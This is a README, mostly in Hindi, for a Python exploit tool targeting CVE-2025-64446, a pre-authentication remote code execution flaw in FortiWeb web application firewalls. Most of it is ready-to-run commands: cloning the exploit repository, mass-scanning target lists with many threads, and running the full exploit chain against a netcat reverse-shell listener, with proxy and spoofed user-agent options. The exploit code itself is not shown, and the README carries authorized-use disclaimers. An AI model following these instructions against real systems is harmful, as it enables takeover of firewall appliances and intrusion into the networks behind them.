
Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging, real-time metrics, proxy debugging, and professional reporting. Includes retry logic, multi-threading, and configurable settings. For authorized security testing only. CVSS 9.8 Critical.
पेशेवर सुरक्षा अनुसंधान और भेद्यता मूल्यांकन ढांचा
स्थापना · त्वरित प्रारंभ · उपयोग · आर्किटेक्चर · CLI संदर्भ · कानूनी और नैतिक अस्वीकरण
FortiWeb Research Tool एक Python मूल्यांकन ढांचा है जो CVE-2025-64446 का अधिकृत पता लगाने और विश्लेषण करने के लिए है — यह एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन समस्या है जो FortiWeb Web Application Firewall उपकरणों को प्रभावित करती है।
| विशेषता | विवरण |
|---|---|
| लेखक | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (Critical) |
| वर्ग | प्रमाणीकरण बायपास + पाथ ट्रैवर्सल → मनमाना फ़ाइल अपलोड → RCE |
| प्रभावित | 7.6.7 / 7.8.7 / 8.0.2 से पहले के बिल्ड (आधिकारिक सलाह के अनुसार सत्यापित करें) |
| उपचार | पैच किए गए FortiWeb रिलीज़ में अपग्रेड करें |
| भाषा | Python 3.7+ |
| प्रवेश बिंदु | exploit.py |
एंगेजमेंट स्कोपिंग से पहले Fortinet PSIRT से प्रभावित/फिक्स किए गए संस्करणों की हमेशा पुष्टि करें।
| उपयोग | स्कैन परिणाम |
|---|---|
![]() | ![]() |
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
| पैकेज | भूमिका |
|---|---|
| , |
वैकल्पिक (डेव): pytest, black, flake8, mypy, python-dotenv — requirements.txt देखें।
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
नोट: एक्सप्लॉइटेशन मोड को
--lhostकी आवश्यकता होती है। जब आप पूर्ण श्रृंखला नहीं चलाना चाहते तो--detect-onlyया--safe-modeका उपयोग करें।
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
पहचान मोड पहुंच-क्षमता, संस्करण संकेत, API एक्सपोज़र, पाथ-ट्रैवर्सल संकेतक, ऑथ-बायपास सिग्नल और अपलोड-एंडपॉइंट पहुंच का मूल्यांकन करता है। इन संकेतकों के आधार पर जोखिम को Critical / High / Medium / Low के रूप में वर्गीकृत किया जाता है।
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager थ्रेड पूल के माध्यम से FortiWebScanner वर्कर चलाता है, एक Rich सारांश तालिका प्रिंट करता है, और scan_report.json / scan_report.html लिखता है।
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
CLI फ़्लैग YAML से लोड किए गए मानों को ओवरराइड करते हैं।
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| घटक | ज़िम्मेदारी |
|---|---|
FortiWebScanner | पहुंच-क्षमता, संस्करण, CVE संकेतक जाँच |
उच्च-स्तरीय सिंगल-टारगेट प्रवाह:
reports/ के अंतर्गत JSON + HTML रिपोर्टexploit.log, errors.log, requests.log--threads)--no-verify)reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
python3 exploit.py [OPTIONS]
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
--detect-only / --safe-mode फिर से चलाएँ।यह उपकरण केवल अधिकृत सुरक्षा परीक्षण, अनुसंधान और शिक्षा के लिए है।
इस सॉफ़्टवेयर का उपयोग करके आप पुष्टि करते हैं कि आपके पास अधिकार है, आप इसका दुरुपयोग नहीं करेंगे, और अपने कार्यों की पूर्ण ज़िम्मेदारी स्वीकार करते हैं। दुरुपयोग के लिए लेखक ज़िम्मेदार नहीं है।
इस प्रोजेक्ट से संबंधित निजी भेद्यता रिपोर्टिंग के लिए SECURITY.md देखें।
git checkout -b feature/your-changeकृपया परिवर्तनों को केवल अधिकृत प्रयोगशाला वातावरण में मान्य करें और लाइव टारगेट डेटा, कुकीज़ या क्रेडेंशियल कमिट करने से बचें।
MIT लाइसेंस — LICENSE देखें।
कॉपीराइट (c) 2026 Sudeepa Wanigarathna
| लेखक | Sudeepa Wanigarathna |
| समस्याएँ | इस रिपॉजिटरी के लिए GitHub Issues |
| सुरक्षा | SECURITY.md देखें · [email protected] |
केवल अधिकृत अनुसंधान · FortiWeb CVE-2025-64446
| मोड | फ़्लैग(s) | उद्देश्य |
|---|
| पहचान | --detect-only | गैर-शोषणकारी भेद्यता संकेतक |
| सुरक्षित / केवल-पठन | --safe-mode | परिवर्तन करने वाले एक्सप्लॉइट चरणों को छोड़ें |
| बड़े पैमाने पर स्कैन | --targets + --scan-mode | समानांतर मल्टी-टारगेट मूल्यांकन |
| एक्सप्लॉइटेशन | --target + --lhost | केवल अधिकृत प्रयोगशालाओं में नियंत्रित श्रृंखला |
| ड्राई रन | --dry-run | परिवर्तन लागू किए बिना प्रवाह का अभ्यास करें |
| रिपोर्टिंग | --output-dir | JSON + HTML एंगेजमेंट रिपोर्ट |
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2025-64446 |
| CVSS स्कोर | 9.8 (Critical) |
| प्रभाव | सफल शोषण की स्थिति में पूर्ण सिस्टम से समझौता |
| समाधान | 7.6.7, 7.8.7, 8.0.2, या बाद के संस्करण में अपग्रेड करें |
| HTML आउटपुट |
|---|
![]() |
requestsurllib3| HTTP क्लाइंट |
rich, colorama, tqdm | टर्मिनल UI और प्रगति |
pyyaml | config.yaml लोडिंग |
ScannerManager| समानांतर स्कैन, JSON/HTML रोलअप, सारांश तालिका |
FortiWebExploit | कॉन्फ़िग-संचालित सत्र, रीट्राइ, मेट्रिक्स, रिपोर्ट, वैकल्पिक एक्सप्लॉइट पथ |
LogManager | संरचित फ़ाइल लॉगिंग + रंगीन कंसोल |
| विकल्प | विवरण |
|---|
--target URL | एकल FortiWeb बेस URL |
--targets FILE | न्यूलाइन-सेपरेटेड टारगेट सूची |
--lhost IP | लिसनर होस्ट (एक्सप्लॉइटेशन के लिए आवश्यक) |
--lport PORT | लिसनर पोर्ट (डिफ़ॉल्ट: 4444) |
--config FILE | YAML कॉन्फ़िगरेशन |
--detect-only | केवल पहचान; एक्सप्लॉइट श्रृंखला छोड़ें |
--scan-mode | मल्टी-टारगेट स्कैन (--targets आवश्यक) |
--safe-mode | केवल-पठन; परिवर्तन करने वाले चरणों को छोड़ें |
--dry-run | परिवर्तन लागू किए बिना ड्राई रन |
--timeout SEC | अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--threads N | स्कैन वर्कर संख्या (डिफ़ॉल्ट: 5) |
--proxy URL | HTTP प्रॉक्सी |
--user-agent STR | कस्टम User-Agent |
-v, --verbose | विस्तृत लॉगिंग / कंसोल |
--no-verify | TLS प्रमाणपत्र सत्यापन अक्षम करें |
--output-dir DIR | रिपोर्ट निर्देशिका (डिफ़ॉल्ट: reports) |
--log-dir DIR | लॉग निर्देशिका (डिफ़ॉल्ट: logs) |
-h, --help | सहायता दिखाएँ |